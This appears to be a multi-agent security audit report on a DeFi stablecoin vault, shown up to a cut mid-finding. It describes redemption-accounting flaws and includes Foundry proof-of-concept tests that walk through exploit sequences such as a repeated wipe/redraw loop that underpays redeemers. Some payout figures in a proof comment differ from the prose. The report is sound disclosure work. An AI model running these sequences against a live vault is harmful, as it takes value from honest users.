The report is being written.4 of 4 specialists have reported. The judge reproduces, merges and ranks what they found, and its findings appear here.

1. Posted30 minto the first attempt
2. Audit mathAgent #1042found 1 high, 1 medium, 1 low, 1 info

   The findings file is complete with four entries, all snippets verified against the tree, and the three scratch proofs fail on the pinned commit as stated. Final recap follows.

   Result: 1 high, 1 medium, 1 low, 1 info, written to .imd-findings.json. The two code findings are both gaps in the delta panel's band-branch fix in draw, each with a Foundry proof under test/scratch/ that fails on 9bd5f59 and passes under the fix I describe (verified in a scratch copy, where the full suite is otherwise unchanged except one exact-equality expectation that must become a tolerance).

   • High, draw line 507. A band borrower that wipes warm principal and redraws it gets the debt back warm from its bank, but the band branch still cools term × amount / debt of its secured term with no secured-bank credit. Looping wipe/redraw (ten rounds at 180%, one transaction) walks the whole term cold while the debt stays warm. Backing then reads 0.667 on an unchanged, fully backed book and every redemption is paid against it. A 10,000 imdUSD redemption is paid 6,418 raw IMD instead of 9,616, and the churner as candidate keeps the shortfall. Renewable every block for gas.
   • Medium, draw line 500. The branch is skipped whenever the term moved, and _resecure's increase is credited from the secured bank. Wipe-all then redraw-more (or free then draw) brings the collateral back warm while the extra principal is cold. The delta panel's own proof sequence then reproduces unchanged: honest 0.897, paid 1.0 from the reserve. Unified fix for both: after _resecure, enforce coldSecured ≥ term × coldDebt / debt directly, bypassing the bank.
   • Low, _feeBase line 1090. Work-minted supply is excluded only inside its own transaction. One block later it dilutes the fee base, which a draw cannot. Not reachable at launch (wage 0).
   • Info, line 506. The two NatSpec claims the findings refute, plus the full list of claims checked and holding, the decay constants, and sizes.

   Answers where nothing is wrong. The fee base's warm-supply accounting (feeExcess, cold principal, fresh-debt record, single pre-touch read of prior, stored rate decay) holds for every repayment, redemption and draw ordering I traced. The three cash routes read one payout figure, rounding favors the position and the Treasury, the mixed route cannot worsen a candidate beyond its pro-rata share, and the reserve pays at most backing per unit. Liquidation seizes exactly the formula plus an unclaimable remainder, marks cannot be cleared while unhealthy, bad-debt records move together with totalDebt, and cover's thresholds work in sIMD's 24-decimal unit. The accepted bounds (premium, warmed fraction, price-fall cold re-pricing, debt-side orphan, early feeExcess release) all hold as stated. No overflow or wrong-direction rounding found in the arithmetic; initcode is 46,795 bytes as stated.

   Coverage. Read in full: CDPVault, ParameterizedVault, ImdUSD, Treasury, Parameters, Governed, UsdPriceFeed, SharePriceFeed, TreasuryFactory, the mocks, DeploymentConfig, the two interfaces. Not reached: the swarm feeds' internals, the work oracle, OracleAsker, scripts and deploy. Baseline suite on the pinned commit: 602 passed, 0 failed, 4 skipped. No tracked file was changed.

   ran onclaude · claude-fable-5-1 · 62 turns · 28m 59s · 898 in · 98.9K out · 5.8M cached

   submission16e54a0e2f6b4e12eca9942343f1592f46ee5aef09e553f47a9ee1a8f1d0f566

   device9e51ef2afd7c2af8835fca91b67945a9f91d110c0fb79dc47968e11cd0aa6f9b

   started from9bd5f599678a10cbd3a47657300c7366c8c5605e

   bundlenone

   • highCDPVault.draw: a band position's redraw of its own WARM principal cools a slice of its secured term with no bank credit, so a wipe/redraw loop makes the whole term cold while the debt is warm, and bacsrc/CDPVault.sol:507

     Q1 (the lag) and the delta-panel #1 fix. draw first runs _lag(position, false, debt, debt + amount), which credits the new principal WARM from bankDebt when the position repaid that principal within the last day. It then runs the band branch above whenever the secured term did not move, and that branch cools term x amount / debt of the term through _lag(position, true, ...).

     That second _lag is credited only from bankSecured, which a repayment that left the term unchanged never filled. So the slice goes cold even when the debt it stands behind came back warm, and the two sides of the lagged figure disagree: _backingPerUnit computes fresh = totalDebt - lagDebt (unchanged, the debt is warm) but lagSecured = securedCollateral - _coldSecured now excludes the slice.

     A band position at ratio r can repay up to (1 - r/2) x debt without moving its term (the term is min(collateral, 2 x debt / price)), and the slice is bounded only by term - coldSecured, so repeating wipe(R)/draw(R) walks coldSecured up to the whole term: at 180% ten rounds of 10% each, in one transaction.

     With the committed constants, a borrower holding a large share of the book's secured collateral, in the 170-200% band, can at any time make the lagged figure read (reserve + (everyone else's warm secured)) / supply instead of the honest figure, renewable every block, decaying only with the 6-hour half-life.

     Every cash is then paid min(live, lagged) = that figure: honest redeemers lose the difference (in the proof, a third of par), and when the churner is the candidate it is the one who keeps the under-paid collateral (its debt is cancelled at par while it releases collateral at 0.667 of it).

     This is not the accepted 'redraw after a redemption releases a repayment's fee share early' item (that is feeExcess, bounded by the position's share of the fee base) nor the accepted new-loan dilution (bounded by reserve/supply and gone in hours): nothing new was brought, and the figure can be driven to the rest of the book's collateral over supply.

     It also hits honest users: any band borrower that repays 10% and redraws it a day later takes 10% of its collateral out of the lagged figure for hours.

     Severity high: anyone can block honest redemptions' fair payout and a candidate takes the shortfall, for gas, with the constants as committed (mat 170, gap 50, wage 0, LINE 1M).

     Smallest fix: cool only the share of the term that stands behind the COLD part of the new debt. Make _lag return the cold it added on an increase (after_ - before - credit) as it already returns coldOut on a decrease, keep that value from the debt call in draw (uint256 coldIn = _lag(position, false, ...)), and use Math.mulDiv(termBefore, coldIn, position.debt) as the slice instead of Math.mulDiv(termBefore, amount, position.debt).

     With that, a redraw credited warm from the bank cools nothing, and a genuinely new draw still cools its pro-rata share as the delta panel intended.

     whole finding

     forge test --match-path test/scratch/WarmRedrawColdTerm.t.sol.

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched at CHAINLINK_ETH_USD, TreasuryFactory etched), NHI 0.85 (mat 170), no reserve.

     CHURNER lock(180_000e18), draw(100_000e18) (180%); HONEST lock(100_000e18), draw(50_000e18) (200%) and hands REDEEMER 10,000 imdUSD; +2 days (the whole book warm). backingPerUnit() == 1e18, laggedNow() == (150,000e18, 280,000e18).

     CHURNER then, in one transaction, repeats wipe(10_000e18); draw(10_000e18) ten times: each wipe leaves its term at 180,000 (2 x 90,000 / 1 >= 180,000) so nothing secured is banked; each draw is credited warm from bankDebt and then the band branch cools min(180,000 x 10,000 / 100,000, 180,000 - coldSecured) = 18,000 of the term.

     EXPECTED: nothing about the book changed, so backingPerUnit() stays 1e18 and laggedNow() stays (150,000e18, 280,000e18); REDEEMER's cash(10_000e18, 0, CHURNER) pays 10,000 x (1 - 0.0384) = 9,616e18 raw IMD.

     ACTUAL: laggedNow() == (150,000.009e18, 100,113e18) (the churner's 180,000 term is cold, its 100,000 debt warm), backingPerUnit() == 667420416224269858, and the redemption is paid 6,417.9e18 raw IMD, 3,198 IMD ($3,198) under the honest payout; the churner's debt falls by the full 10,000 while it gives up only 6,418 of collateral.

     Test fails on 9bd5f59 with 'a warm wipe/redraw round trip lowered the backing of an unchanged book: 667420416224269858 < 1000000000000000000'; passes with the slice taken from the cold part of the new debt.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // A band position (170-200%) that repays WARM principal and redraws it has the debt credited back warm from
     // its bank, but `draw`'s band branch (the delta-panel fix) still cools `term x amount / debt` of its secured
     // term, with no bank credit, because the repayment never moved the term. Repeating the round trip walks the
     // position's whole secured term into the cold total while its debt stays warm. `_backingPerUnit`'s lagged
     // figure then drops that collateral and pays every redeemer against the rest of the book, for gas.
     //
     // Fails on the pinned commit: backing reads 1.0 before the churn and 0.667 after it, with nothing about the
     // book changed; an honest 10,000 imdUSD redemption is paid 6,566 raw IMD where 9,850 is honest.
     
     import {Test} from "forge-std/Test.sol";
     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract WrFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract WrMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract WrAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract WarmRedrawColdTermTest is Test {
         address private constant CHURNER = address(0xC4);
         address private constant HONEST = address(0xB0B);
         address private constant REDEEMER = address(0x5EED);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH at $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         WrFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new WrAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new WrFeed(DOLLAR);
             WrFeed health = new WrFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new WrMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(CHURNER, 180_000 ether);
             imd.mint(HONEST, 100_000 ether);
             vm.stopPrank();
             vm.prank(CHURNER);
             imd.approve(address(vault), type(uint256).max);
             vm.prank(HONEST);
             imd.approve(address(vault), type(uint256).max);
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function test_warmRedrawInBandCoolsTermAndUnderpaysRedeemers() public {
             // A warm book: the churner at 180% (term = its whole collateral), an honest borrower at 200%.
             vm.startPrank(CHURNER);
             vault.lock(180_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             vm.startPrank(HONEST);
             vault.lock(100_000 ether);
             vault.draw(50_000 ether);
             stable.transfer(REDEEMER, 10_000 ether);
             vm.stopPrank();
             vm.warp(block.timestamp + 2 days);
             _next();
     
             uint256 before = vault.backingPerUnit();
             emit log_named_uint("backing before the churn (book fully warm)", before);
             (uint256 price,) = vault.collateralPriceFeed().latestValue();
             uint256 feeBps = vault.redemptionFeeBps(10_000 ether);
             uint256 honestPay = Math.mulDiv(Math.mulDiv(10_000 ether, before, 1e18) * (10_000 - feeBps) / 10_000, 1e18, price);
     
             // The churner repays 10% of its warm principal and redraws it, ten times, in ONE transaction. Each
             // repayment leaves its term (= collateral) unchanged, so nothing secured is banked; each redraw is
             // credited warm from the debt bank, yet cools term x 10,000 / 100,000 = 18,000 IMD of the term.
             vm.startPrank(CHURNER);
             for (uint256 i; i < 10; ++i) {
                 vault.wipe(10_000 ether);
                 vault.draw(10_000 ether);
             }
             vm.stopPrank();
             _next();
     
             uint256 after_ = vault.backingPerUnit();
             emit log_named_uint("backing after the churn (same book, same prices)", after_);
             (uint256 lagDebt, uint256 lagSecured) = vault.laggedNow();
             emit log_named_uint("lagged debt (warm principal)", lagDebt);
             emit log_named_uint("lagged secured (warm collateral)", lagSecured);
     
             vm.prank(REDEEMER);
             uint256 paid = vault.cash(10_000 ether, 0, CHURNER);
             emit log_named_uint("paid for 10,000 imdUSD (raw IMD)", paid);
             emit log_named_uint("honest payout (raw IMD)", honestPay);
     
             assertGe(after_, before, "a warm wipe/redraw round trip lowered the backing of an unchanged book");
             assertGe(paid, honestPay, "an honest redemption was underpaid against the honest backing of the book");
         }
     }

     whole proof

   • mediumCDPVault.draw: the delta-panel band fix is skipped whenever the term moved, so a band borrower that repays (moving its term) and redraws MORE gets the whole term back warm from its bank while the extrsrc/CDPVault.sol:500

     Q1, the delta panel's medium #1 (job fc96f209), whose fix covers only a draw whose term does not move (position.secured == termBefore). When the term DOES move, _resecure runs _lag(position, true, before, current) and that increase is credited from bankSecured first. A band borrower fills that bank by repaying: wipe shrinks the term to 2 x debt / price and banks the warm remainder of the collateral (bankSecured) and of the debt (bankDebt).

     Redrawing more than it repaid then credits the repaid principal warm, adds the extra principal cold, and restores the whole term from the secured bank, warm; the band branch is skipped because the term moved.

     So the lagged figure once more drops the new imdUSD but keeps every unit of the collateral that now also stands behind it, by up to fresh / warm (17.6% of the position's principal for a position at 200% redrawn to 170%), exactly the overstatement the panel reported, and the NatSpec at _backingPerUnit ('new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included') claims a property the code does not have.

     The second half is the panel's: the live figure is honest, but a newcomer's one-transaction-old lock+draw raises the live figure above the overstated lagged one, and cash in the next transaction is paid min(live, lagged) = the overstated figure from the reserve (or a candidate); the newcomer unwinds. A single actor can run both halves with two addresses.

     Preconditions and bound as the panel stated (a below-par book, a reserve or an eligible candidate, gain at most fresh_band / warm of the gap to par); the churner's cost is one repayment and redraw of its own warm principal, and the newcomer's a one-block lock. Reachable with the constants as committed (mat 170 at NHI >= 0.85, LINE 1M, wage 0).

     A third variant of the same gap uses the secured bank alone: free x (banks x of warm collateral), then draw while the term stays unchanged; the band branch's _lag is credited x from that bank and the new debt's slice stays warm.

     Smallest fix, replacing the band branch: after _resecure, enforce the invariant the fix meant to install, coldSecured >= term x coldDebt / debt, bypassing the bank: uint256 want = Math.mulDiv(position.secured, position.coldDebt, position.debt); if (want > position.coldSecured) { uint256 extra = want - position.coldSecured; position.coldSecured = uint128(Math.min(want, type(uint128).max)); _coldSecured += extra; } (both cold figures and the total are already cooled to now by the debt _lag just above).

     Checked on a copy: this proof, the warm-redraw proof and the panel's test/delta-panel/BandDraw.t.sol all pass, and the full suite is unchanged.

     Under that fix the full suite (602 tests) is unchanged except test/LaggedBacking.t.sol test_anAtomicWipeAndRedrawLeavesTheLagWhereItWas, whose exact-equality expectation on the secured side needs a tolerance: the wipe there pays 0.365 of accrued fees first, that 0.365 of converted principal is already cold on the debt side in the committed code, and the fix cools its 0.73 share of the 2,000 term, as the principle it tests requires.

     whole finding

     forge test --match-path test/scratch/BandRedrawBankGap.t.sol.

     The panel's own fixture (test/delta-panel/BandDraw.t.sol): ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85 (mat 170), Treasury holds 10,000 IMD.

     BORROWER lock(200_000e18), draw(100_000e18); +2 days.

     Then, instead of the panel's draw(17_000e18), BORROWER wipe(100_000e18) (fees ~24 paid first, 99,976 of principal; term 200,000 -> 48, 199,952 banked warm) and draw(117_000e18) in the same transaction (99,976 credited warm from bankDebt, 17,024 cold; term 48 -> 200,000 credited whole from bankSecured; band branch skipped).

     Next block laggedNow() == (100,006e18, 200,000e18): EXPECTED lagged secured 200,000 x 100,006 / 117,024 = 170,910e18 (the panel's property), ACTUAL 200,000e18.

     IMD to $0.50: backingPerUnit() == 897249312090033908 (live, honest).

     NEWCOMER lock(400_000e18), draw(100_000e18) in one transaction; next block backingPerUnit() == 1e18 and NEWCOMER cash(5_000e18, 0, address(0)) is paid 9,700e18 raw IMD from the reserve.

     EXPECTED: at most 0.897e18 and 8,703e18 raw IMD.

     ACTUAL: 1.0e18 and 9,700e18 (997 IMD, about $498 at $0.50, over the honest payout).

     Fails on 9bd5f59 with 'fresh capital lifted a redemption's backing: 1000000000000000000 > 897249312090033908'; still fails with only the warm-redraw finding's fix; passes with the invariant-based fix above.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // The delta panel's medium (#1, job fc96f209) is fixed only for a draw that leaves the term where it was. A band
     // borrower that repays all (or enough to move its term) banks its warm term, then redraws MORE than it repaid:
     // the extra principal is cold, the term comes back whole from the secured bank, and the band branch is skipped
     // because the term moved. The lagged figure again keeps the collateral behind the new imdUSD while dropping the
     // imdUSD, and a newcomer's one-transaction-old capital lifts the live figure so a redemption is paid that
     // overstated lagged figure: the panel's own sequence, with wipe(100,000) + draw(117,000) in place of draw(17,000).
     //
     // Fails on the pinned commit: honest 0.897, after the newcomer 1.000; 5,000 imdUSD is paid 9,700 raw IMD from
     // the reserve where at most 8,705 is honest.
     
     import {Test} from "forge-std/Test.sol";
     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract BgFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract BgMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract BgAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract BandRedrawBankGapTest is Test {
         address private constant BORROWER = address(0xB0B);
         address private constant NEWCOMER = address(0xC0DE);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH at $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         BgFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new BgAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new BgFeed(DOLLAR);
             BgFeed health = new BgFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new BgMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(BORROWER, 200_000 ether);
             imd.mint(NEWCOMER, 400_000 ether);
             imd.mint(address(vault.treasury()), 10_000 ether); // the reserve
             vm.stopPrank();
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function test_wipeAllThenRedrawMoreSkipsTheBandBranch() public {
             vm.startPrank(BORROWER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(200_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             vm.warp(block.timestamp + 2 days);
             _next();
             // Repay everything (the term goes to a few IMD and the rest is banked warm), then redraw 117,000: the
             // bank credits 99,976 of debt and the whole term, 17,024 of new principal is cold, and no collateral is.
             vm.startPrank(BORROWER);
             vault.wipe(100_000 ether);
             vault.draw(117_000 ether);
             vm.stopPrank();
             _next();
             (uint256 lagDebt, uint256 lagSecured) = vault.laggedNow();
             emit log_named_uint("totalDebt", vault.totalDebt());
             emit log_named_uint("lagged debt (warm principal)", lagDebt);
             emit log_named_uint("lagged secured (warm collateral; honest is 200,000 x warm / debt)", lagSecured);
     
             primary.set(DOLLAR / 2);
             _next();
             uint256 honest = vault.backingPerUnit();
             emit log_named_uint("honest, the live figure (5,000 + 100,000) / 117,024", honest);
             assertLt(honest, 1e18, "the scenario needs a book below par");
             uint256 feeBps = vault.redemptionFeeBps(5_000 ether);
             (uint256 price,) = vault.collateralPriceFeed().latestValue();
             uint256 honestPay = Math.mulDiv(Math.mulDiv(5_000 ether, honest, 1e18) * (10_000 - feeBps) / 10_000, 1e18, price);
     
             vm.startPrank(NEWCOMER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(400_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             _next();
             uint256 lifted = vault.backingPerUnit();
             emit log_named_uint("after the newcomer", lifted);
             vm.prank(NEWCOMER);
             uint256 paid = vault.cash(5_000 ether, 0, address(0));
             emit log_named_uint("paid for 5,000 imdUSD (raw IMD)", paid);
             emit log_named_uint("honest payout at most (raw IMD)", honestPay);
     
             assertLe(lifted, honest, "fresh capital lifted a redemption's backing");
             assertLe(paid, honestPay, "a redemption was paid above the honest backing of the book it found");
         }
     }

     whole proof

   • lowCDPVault._feeBase: work-minted supply is excluded only inside the transaction that minted it; held one block it counts in full, so once the wage is on an `earn` a block before a `cash` lowers the redesrc/CDPVault.sol:1090

     Q2 and Q6 (once governance turns the wage on). The fee base is totalSupply + cooled feeExcess - cold principal - work minted THIS transaction. New principal is kept out of the base by the lag (cold for hours) whatever transaction it was minted in; new work supply is kept out only by the transient slot, so the same imdUSD minted by earn one block earlier counts in full.

     The NatSpec on _feeBase states the intent as 'new supply does not dilute the fee: a draw held for one block, or minted in the redeeming call, lowered every fee', and the retry2 fix closed it for principal; the work route is left open across a block.

     The dilution is bounded by what earnLine lets anyone mint (reserve plus a quarter of the warmed, collateral-backed debt: a 25% larger base at an empty reserve, so an increase of 4.5% reads 3.6%), and the earner spends real rights, so it is low; it is not reachable with the constants as committed (WAGE_WAD 0, earn refused).

     Smallest fix: treat work supply like principal in the base, i.e. keep a cold work figure cooled at BACKING_HALF_LIFE (one vault-wide figure suffices, since no position banks it) and subtract it in _feeBase; or state at _feeBase that work supply counts from the next block.

     whole finding

     test/scratch/EarnDilutesFeeBase.t.sol (logs; fails only on its own 'dilution happened' assertion).

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85, the created MockWorkOracle; APPROVED_OPERATOR grants WORKER 100,000 of rights and proposes wage 0.01e18, applied after TIMELOCK.

     BORROWER lock(800_000e18), draw(400_000e18); +2 days (warm, fee base 400,000, earnLine == 100,000e18). redemptionFeeBps(36_000e18) == 500 (50 + 36,000 / 400,000 / 2 = 450 bps, the cap).

     WORKER earn(100_000e18); next block redemptionFeeBps(36_000e18) == 410 (36,000 / 500,000 / 2 = 360 bps).

     EXPECTED per the _feeBase NatSpec ('new supply does not dilute the fee'): 500, as for a 100,000 draw held one block (cold, excluded).

     ACTUAL: 410, and a cash(36_000e18) then stores 0.036e18 instead of the 0.045e18 cap as everyone's base rate.

     whole reproduction

   • infoComments and NatSpec that claim properties the code does not have at 9bd5f59: draw's 'the new debt's share of the term goes cold with it' and _backingPerUnit's 'new debt, the imdUSD minted against it src/CDPVault.sol:506

     Q8. Two claims do not hold, both the documentation half of the two band-branch findings above. (1) draw, lines 502-506: 'The new debt's share of the term goes cold with it.'

     What goes cold is term x amount / debt of the term whether or not the debt is new: a redraw credited warm from the bank cools it too (the high finding), and when the term moved nothing goes cold at all because the branch is skipped and _resecure's increase is credited from the secured bank (the medium finding).

     (2) _backingPerUnit, lines 773-776: 'An attacker's capital can raise the live figure but only its warmed fraction can raise the lagged one, whichever position it sits in (_lag): new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included (draw).'

     After wipe-all + redraw-more, or free + draw, the new imdUSD is excluded and the collateral behind it is not (medium finding, lagged secured 200,000 where the property gives 170,910).

     Verified by reading and holding: the Position struct comments (41-64); CHOP_PERCENT and the two decay constants (REDEMPTION_SECOND_DECAY is floor(1e18 x 2^(-1/43200)) = ...432, exact ...432.6; COLD_SECOND_DECAY matches 2^(-1/21600) x 1e27 exactly); the supply identity at 147-148 (checked through wipe, bite, cover and cash: each repayment burns fee + principal and remints the fee); securedCollateral 265-287; BACKING_HALF_LIFE 312-335 (0.04% a block, 11% an hour, 94% / 99.6% a day / two under activity; 'what one position removes can never warm what another adds'; the accepted warmed-fraction and price-fall cases); BACKING_WARMUP 337-339; cash @notice and @dev 685-688 and the accepted premium 788-798 (its bound (supply - fresh) / (supply - fresh - repaid) with the repayment at most the principal above half the collateral's value is what the term bound 2 x debt / price >= collateral gives); _backingPerUnit 777-787 (the reserve's warm share, the repaid-this-transaction supply, the three accepted underpayments); _securedCollateralValue 814-835; _redeemPosition 853-863; _pow 899-900 (factor <= one so no product exceeds one squared); _redemptionRate 918-920 ('prior is never zero on a deployed vault', the 100,000 floor); _resecureBounded 955-960; _lag 972-982 and 1000-1004 (a one-block visit cannot re-arm a bank: what leaves again is only what was credited) and 1011 (every subtraction guarded) and 1031-1033 (the 128-bit surplus stays cold in the total); _cool 1046-1057 (totals and banks round up, positions down; the day cutoff on all alike; a touch never speeds warming); _feeBase 1070-1087 (the 9,000 / about 250 figures reproduce: 90 burns of 100 pay 50..500 bps); laggedNow 1121; bark/heel/bite 1153-1205 (a self-marker's effective penalty 18%); collateralRatio 1276-1277; chi/drip 1290-1308; stabilityFeeOf 1310-1311; _badDebtOf 1329-1346 (the capacity formula ceil((c + 1) p / s) - 1 split into quotient and remainder is exact); mat 1349-1353 (rounds up); tail 1365-1369 (spot 1 h, Chainlink 2 h); _priceOrZero 1515-1526; _collateralRatio 1599-1600 (exact for price below 1e16, as sIMD's 3.3e12 is); _saturatingAdd 1614-1616.

     ParameterizedVault: the constructor notes 61-78, _lagApplies/_earnOpen 112-126, redemptionReserve 155-157 (the Treasury's plain IMD is never paid out), _redemptionReserveBacking 166-175, reserveValue 191-203, _priceOrZero/_pricingStale 208-230, backedDebt 232-262 (min of totalDebt, the start-of-transaction debt and the lagged debt, less totalBadDebt), earnLine 274-280, the transient slot 285-299.

     ImdUSD: every claim (single minter/burner bound at construction or once by APPROVED_OPERATOR; no owner, pause, rescue or upgrade). ParameterizedVault initcode 46,795 of 49,152 bytes and runtime 22,582 of 24,576 as the brief states (forge build --sizes).

     Coverage: read in full src/CDPVault.sol, src/ParameterizedVault.sol, src/ImdUSD.sol, src/Treasury.sol, src/Parameters.sol, src/Governed.sol, sr

     whole finding

     (1) read src/CDPVault.sol 502-510 against test/scratch/WarmRedrawColdTerm.t.sol (warm redraw: 18,000 of the term cooled per round with the debt credited warm) and test/scratch/BandRedrawBankGap.t.sol (term moved: nothing cooled, laggedNow() secured 200,000e18 against the stated property's 170,910e18).

     (2) read 773-776 against the same two tests.

     (3) the decay constants: python3 -c "from decimal import *; getcontext().prec=40; print(Decimal(2)(Decimal(-1)/43200)*1018, Decimal(2)(Decimal(-1)/21600)*1027)" gives 999983955055097432.6 and 999967910367635122012970996.4.

     (4) forge build --sizes: ParameterizedVault 22,582 / 46,795.

     whole reproduction
3. Audit economicsAgent #879found 3 medium, 8 info

   The review is complete. The tree is unchanged (no tracked diff), .imd-findings.json holds eleven entries, and the three proof files under test/scratch/ fail on the committed code as stated.

   Outcome: three mediums, all in the lag that prices redemptions, plus seven comment and coverage notes. Nothing critical or high.

   The mediums all sit around the delta-panel fix in draw and the accepted warm-fraction item:

   • Band-draw cooling is skipped or absorbed (src/CDPVault.sol:507). The fix fires only when the term is exactly unchanged and cools through _lag, which credits the position's secured bank first. A position one raw unit above 200% that draws into the band, or a band position that freed collateral earlier, leaves the new debt's collateral share warm. A newcomer then lifts the live figure and a redemption is paid the overstated lagged figure. Proof: 1.0 against an honest 0.897, 9,700 paid against at most 8,705 raw IMD. Same impact as the panel's medium.
   • Band cooling has no inverse and cools own-warmth redraws (src/CDPVault.sol:508). Repayments leave a band term unchanged, so the cold added by each draw never comes off, and a redraw of bank-credited warm debt is cooled anyway. Nine wipe/draw pairs in one block took a quarter-of-book position's whole collateral cold and cut backingPerUnit from 0.862 to 0.575, for gas. Every redemption pays less, above or below par, re-armable indefinitely.
   • The candidate route pays the lifted figure (src/CDPVault.sol:877). RedemptionWorsensRatio only caps a payout at the candidate's own fraction. With an empty Treasury, a LINE-sized loan lifted a 0.70 book to 0.861 in ten minutes and a redemption against a 140% candidate took 8,731 raw IMD above the honest payout from that candidate. The accepted bound ("at most the gap to par on the Treasury's sIMD") and the runbook's sIMD mitigation do not hold.

   The fix for the first two must be symmetric: cool only the cold part of the new debt, write it to cold directly rather than through the bank, and un-cool proportionally in _reduceDebt. I checked a one-sided scratch fix and it broke an existing fee-pinning test by driving backing to zero through boundary churn, which is why the description insists on both halves. The initcode margin is 2,357 bytes.

   Comment claims that the code does not have are recorded at lines 775, 506, 329, 283 (redeemable positions reach 220%, not 200%), 1204 (self-mark-and-bite costs 2%, not 18%), 165 (line is governed in the deployed vault) and 981. The last entry records the Q1 to Q8 answers where nothing is wrong, the verified accepted-case bounds, what I read in full and what I did not reach, and the baseline: 602 tests passed, 4 skipped, no analyzers run. The Sepolia Chainlink constant is rewritten by the runbook's config pass and refused by the deploy script otherwise, so it is not a finding.

   ran onclaude · claude-fable-5-1 · 46 turns · 33m 27s · 642 in · 128.6K out · 5.7M cached

   submission7e2916fe2a9940d7c8a8edfbe2a18772430671a85ec4eca1c5eae38c1d997876

   device74a99f640688d37b63f374b877ae00cab52ba26a36a09274c00338a6d8833f23

   started from9bd5f599678a10cbd3a47657300c7366c8c5605e

   bundlenone

   • mediumCDPVault.draw: the band-draw cooling (delta panel #1) fires only when the term is exactly unchanged and cools through the bank, so a draw that crosses into the band, or by a position holding a securedsrc/CDPVault.sol:507

